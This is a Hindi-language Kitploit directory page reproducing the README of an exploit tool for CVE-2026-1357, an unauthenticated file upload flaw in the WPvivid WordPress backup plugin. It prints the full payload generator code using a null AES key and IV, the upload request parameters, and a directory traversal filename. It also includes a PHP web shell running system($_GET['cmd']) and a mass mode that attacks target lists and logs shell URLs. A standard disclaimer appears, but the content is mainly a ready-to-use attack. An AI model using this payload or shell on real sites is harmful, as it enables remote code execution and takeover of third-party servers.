Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड | Kitploit
उपकरण/GitHubGitHub/nxploited/cve-2026-1357
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड

रिपॉजिटरी देखें
15 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🧨 CVE-2026-1357 – WPvivid Null-Key Exploit टूल (CVE-2026-1357.py)

माइग्रेशन, बैकअप, स्टेजिंग – WPvivid Backup & Migration ≤ 0.9.123
कमजोरी: बिना प्रमाणीकरण (Unauthenticated) मनमाना फ़ाइल अपलोड → रिमोट कोड निष्पादन
CVE: CVE-2026-1357 – CVSS 9.8 (क्रिटिकल)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 यह स्क्रिप्ट क्या करती है

Nxploited

CVE-2026-1357.py WPvivid कमजोरी के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइटेशन टूल है। यह दोषपूर्ण AES सत्र हैंडलिंग पर केंद्रित है जो हमलावर को निम्नलिखित की अनुमति देता है:

  1. WPvivid जिस फॉर्मेट की अपेक्षा करता है, उसी में नल AES की/IV (सभी शून्य बाइट्स) के साथ एक पेलोड एन्क्रिप्ट करें।
  2. पेलोड में मनमाना फ़ाइल कंटेंट (जैसे, PHP शेल) और चुना हुआ फ़ाइलनाम/पथ (name) एम्बेड करें।
  3. इस पेलोड को wpvivid_action=send_to_site पैरामीटर के माध्यम से WPvivid एंडपॉइंट पर भेजें।
  4. (वैकल्पिक रूप से) जाँचें कि फ़ाइल सफलतापूर्वक लिखी गई थी और सुलभ है।

स्क्रिप्ट सीधे निजी कुंजियों (private keys) का अनुमान लगाने या दुरुपयोग करने का प्रयास नहीं करती। इसके बजाय, यह WPvivid के टूटे हुए प्रवाह का अनुकरण करती है जहाँ विफल openssl_private_decrypt() के कारण phpseclib का AES सिफर नल-कुंजी के साथ प्रारंभ होता है।


🧠 तकनीकी आंतरिक विवरण

🔐 AES नल-की पेलोड

एक्सप्लॉइट का मूल gen_wpvivid_payload() में है:

  • यह एक JSON संरचना बनाता है:

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • यह JSON को सीरियलाइज़ करता है (कॉम्पैक्ट रूप, बिना स्पेस)।

  • यह JSON को इसका उपयोग करके एन्क्रिप्ट करता है:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • फिर यह आगे जोड़ता है:

    • 3 बाइट्स: "000" (एक स्थिर लंबाई-क्षेत्र प्लेसहोल्डर)।
    • 16-बाइट अपरकेस हेक्स: सिफर लंबाई "{len(cipher):016X}" के रूप में एन्कोड की गई।
  • अंतिम एन्क्रिप्टेड ब्लॉब है:

    root@kitploit:~
    "000" + <16-बाइट सिफर लंबाई हेक्स> + <कच्चा AES-CBC सिफरटेक्स्ट>
    
  • यह ब्लॉब बेस64-एन्कोड किया जाता है और अंतिम wpvivid_content मान के रूप में लौटाया जाता है।

फ़ंक्शन:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

यह RSA डिक्रिप्शन विफलता के बाद कमजोर कोड पथ में WPvivid की डिक्रिप्शन अपेक्षाओं से मेल खाता है।


🧰 विशेषताएँ और मोड

स्क्रिप्ट में दो मुख्य मोड हैं, साथ ही मास-टेस्टिंग क्षमता भी है:

  1. mood1 – पेलोड जनरेटर

    • नल-की ट्रिक का उपयोग करके एक मान्य wpvivid_content मान उत्पन्न करता है।
    • फ़ाइल सामग्री को परिभाषित करने के कई तरीकों का समर्थन करता है।
    • वैकल्पिक रूप से लक्ष्यों की सूची के विरुद्ध मास टेस्टर लॉन्च करता है।
  2. mood2 – एकल लक्ष्य परीक्षक

    • पहले से उत्पन्न पेलोड का उपयोग करता है।
    • एकल लक्ष्य का अंत-से-अंत तक परीक्षण करता है:
      • पेलोड भेजता है।
      • अपेक्षित परिणामी फ़ाइल URL का निर्माण करता है।
      • सत्यापित करता है कि फ़ाइल सुलभ है या नहीं।
  3. मास मोड (mood1 से)

    • चयनित पेलोड को सूची फ़ाइल से कई लक्ष्यों पर भेजता है।
    • समवर्तीता (concurrency) और प्रगति पट्टी का उपयोग करता है।
    • सफल अपलोड को ट्रैक और लॉग करता है।

🚦 स्क्रिप्ट चलाना

root@kitploit:~
python3 CVE-2026-1357.py

आपको एक Rich-आधारित UI दिखाई देगा जिसमें बैनर और मोड चयन होगा:

  • mood1 – पेलोड जनरेटर
  • mood2 – एकल लक्ष्य परीक्षक

🧪 मोड: mood1 – पेलोड जनरेटर

उद्देश्य

  • एक एक्सप्लॉइट पेलोड (wpvivid_content) बनाएं जो एन्कोड करता है:
    • वह फ़ाइल पथ/नाम जिसे आप WPvivid को लिखवाना चाहते हैं।
    • फ़ाइल सामग्री (शेल, टेस्ट फ़ाइल, आदि)।

प्रवाह

  1. मोड चयन

    जब संकेत दिया जाए:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Enter दबाएं (डिफ़ॉल्ट mood1 है) या mood1 टाइप करें।

  2. लक्ष्य फ़ाइलनाम / पथ

    आपसे पूछा जाता है:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    उदाहरण:

    • WPvivid बैकअप निर्देशिका में एक फ़ाइल डालने के लिए:

      root@kitploit:~
      Nx_.php
      
    • डायरेक्टरी ट्रैवर्सल का दुरुपयोग करने के लिए (यदि लक्ष्य द्वारा अनुमति है):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    यह मान JSON पेलोड के name फ़ील्ड में जाता है।

  3. सामग्री इनपुट मोड

    स्क्रिप्ट फ़ाइल सामग्री को परिभाषित करने के तीन तरीके दिखाती है:

    • मोड 1: एक-पंक्ति सामग्री।
    • मोड 2: बहु-पंक्ति सामग्री (EOF के साथ समाप्त होती है)।
    • मोड 3: स्थानीय फ़ाइल से पढ़ें (जैसे shell.php)।

वैकल्पिक: mood1 से मास मोड

पेलोड उत्पन्न करने के बाद, स्क्रिप्ट पूछती है:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

यदि आप y उत्तर देते हैं, तो यह आपके द्वारा अभी बनाए गए पेलोड और फ़ाइलनाम के साथ मास मोड शुरू करती है।


🌐 मास मोड – एकाधिक लक्ष्य

उद्देश्य

  • एक एकल एक्सप्लॉइट पेलोड लें और इसे लक्ष्यों की सूची के विरुद्ध परीक्षण करें।

प्रवाह

  1. लक्ष्य फ़ाइल

    उदाहरण संकेत:

    root@kitploit:~
    Targets list file (one URL per line):
    

    फ़ाइल का अपेक्षित प्रारूप (जैसे targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    स्क्रिप्ट स्वचालित रूप से बेस URL को सामान्य करेगी (जहाँ अनुपस्थित हो वहाँ स्कीम जोड़ना)।

  2. थ्रेड गणना

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    नियंत्रित करता है कि कितनी साइटें समानांतर में संसाधित होंगी।

  3. प्रति-लक्ष्य तर्क

    प्रत्येक लक्ष्य के लिए:

    • URL को सामान्य करें → base_url।

    • कॉल करें:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      जो:

      • wpvivid_action=send_to_site + wpvivid_content=<payload> POST बनाता है।
      • ट्यून किए गए कनेक्शन पूल सेटिंग्स के साथ एक नए सत्र के माध्यम से भेजता है।
      • जाँचता है कि प्रतिक्रिया में {"result":"success"} शामिल है या नहीं (कॉम्पैक्ट फॉर्म जाँच)।

🧪 मोड: mood2 – एकल लक्ष्य परीक्षक

उद्देश्य

  • एक मौजूदा पेलोड (wpvivid_payload.txt या बाहरी स्रोत से) का उपयोग एकल URL के विरुद्ध करें और परिणामी फ़ाइल को सत्यापित करें।

प्रवाह

  1. लक्ष्य URL

    संकेत:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    उदाहरण:

    root@kitploit:~
    https://victim.com
    

    स्क्रिप्ट इसे ऐसे बेस में सामान्य करती है:

    root@kitploit:~
    https://victim.com
    
  2. फ़ाइल का नाम

    संकेत:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    यह वह नाम/पथ है जिसे आप अपेक्षा करते हैं कि WPvivid लिखेगा (पेलोड के name फ़ील्ड में आपके द्वारा एन्कोड किए गए मान से मेल खाता हुआ)।

  3. पेलोड इनपुट

    संकेत:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • यदि आप wpvivid_content=... से शुरू होने वाली पूरी पंक्ति पेस्ट करते हैं, तो यह उपसर्ग हटा देती है।
    • यदि आप केवल बेस64 पेस्ट करते हैं, तो इसे वैसे ही लेती है।
  4. निष्पादन

    स्क्रिप्ट:

    • wpvivid_action=send_to_site + आपके wpvivid_content के साथ POST भेजती है।

यह मोड पेलोड पर बेहतर नियंत्रण के साथ एकल साइट के मैनुअल / लैब परीक्षण के लिए आदर्श है।


📁 आउटपुट फ़ाइलें

  • wpvivid_payload.txt

    • mood1 में लिखी जाती है।
    • संग्रहीत करती है:
      • file_name=<file_name_you_chose>
      • wpvivid_content=<payload>
  • Nx_.txt

    • mood1 (मास मोड) और mood2 द्वारा लिखी जाती है।
    • प्रत्येक पंक्ति में एक सफल फ़ाइल URL होता है जहाँ अपलोड सफल प्रतीत होता है (और वैकल्पिक रूप से सत्यापित)।

⚠️ अस्वीकरण

यह टूल केवल इसके लिए अभिप्रेत है:

  • नियंत्रित वातावरण में सुरक्षा अनुसंधान।
  • उन प्रणालियों का परीक्षण जो आपके स्वामित्व में हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट, लिखित अनुमति है।
  • CVE-2026-1357 के लिए सुधार और पहचान उपायों की पुष्टि करना।

इस स्क्रिप्ट का उपयोग करके, आप सहमत हैं कि:

  • लागू सभी कानूनों का पालन करना आपकी जिम्मेदारी है।
  • आप उचित अधिकार के बिना इसका उपयोग प्रणालियों पर नहीं करेंगे।
  • लेखक (Nxploited) इस टूल के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति, कानूनी मुद्दों या घटनाओं के लिए कोई जिम्मेदारी वहन नहीं करता।

इसे अपने जोखिम पर और केवल वैध सुरक्षा परीक्षण के लिए उपयोग करें।


✍️ लेखक और संपर्क

  • द्वारा: Nxploited (Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

अपडेट, टूल्स और सुरक्षा अनुसंधान सामग्री के लिए, टेलीग्राम चैनल को फॉलो करें:
👉 @KNxploited

टूल डाउनलोड करें

आपको संकेत दिया जाता है:

root@kitploit:~
Mode [1/2/3] [1]:
  • मोड 1 – एक पंक्ति

    root@kitploit:~
    Single line content:
    

    इनपुट उदाहरण:

    root@kitploit:~
    <?php phpinfo();
    
  • मोड 2 – बहु-पंक्ति

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    आप मल्टी-लाइन PHP स्क्रिप्ट पेस्ट या टाइप कर सकते हैं, फिर अंत में अकेली पंक्ति में EOF डालें:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • मोड 3 – स्थानीय फ़ाइल

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    स्क्रिप्ट पूरी फ़ाइल को file_bytes में पढ़ती है।

  • पेलोड निर्माण

    सामग्री कैप्चर होने के बाद, स्क्रिप्ट:

    • JSON ऑब्जेक्ट बनाती है।
    • इसे नल-की AES-CBC से एन्क्रिप्ट करती है।
    • बाइनरी ब्लॉब को लपेटती है।
    • इसे बेस64-एन्कोड करती है।

    आपको इस तरह आउटपुट दिखाई देता है:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    और wpvivid_payload.txt फ़ाइल लिखी जाती है:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • यदि अपलोड सफल माना जाता है:

    • shell_url का निर्माण इस प्रकार करें:

      root@kitploit:~
      f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
      
    • इसे Nx_.txt में सहेजें।

    • verify_written_file() का प्रयास करें:

      • GET के साथ shell_url का अनुरोध करें।
      • यदि status_code == 200, सत्यापित के रूप में चिह्नित करें।
  • यदि कोई त्रुटि होती है:

    • स्क्रिप्ट short_reason() के माध्यम से कारण वर्गीकृत करती है:
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR।
  • UI

    • Rich प्रगति पट्टी वैश्विक प्रगति और बीता समय दिखाती है।
    • प्रत्येक साइट प्रिंट करती है:
      • सफलता पर [OK] <shell_url>।
      • त्रुटि पर [FAIL] <base> (reason: ...)।
      • [!] Not verified (...) जब अपलोड सफल हो सकता है लेकिन सत्यापन विफल रहा।
  • यदि प्रतिक्रिया सफलता का संकेत देती है, तो यह निर्माण करती है:

    root@kitploit:~
    <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
    

    और उस URL के साथ [OK] प्रिंट करती है।

  • सफल URL को Nx_.txt में जोड़ती है।

  • verify_written_file() के माध्यम से सत्यापन का प्रयास करती है और परिणाम प्रिंट करती है।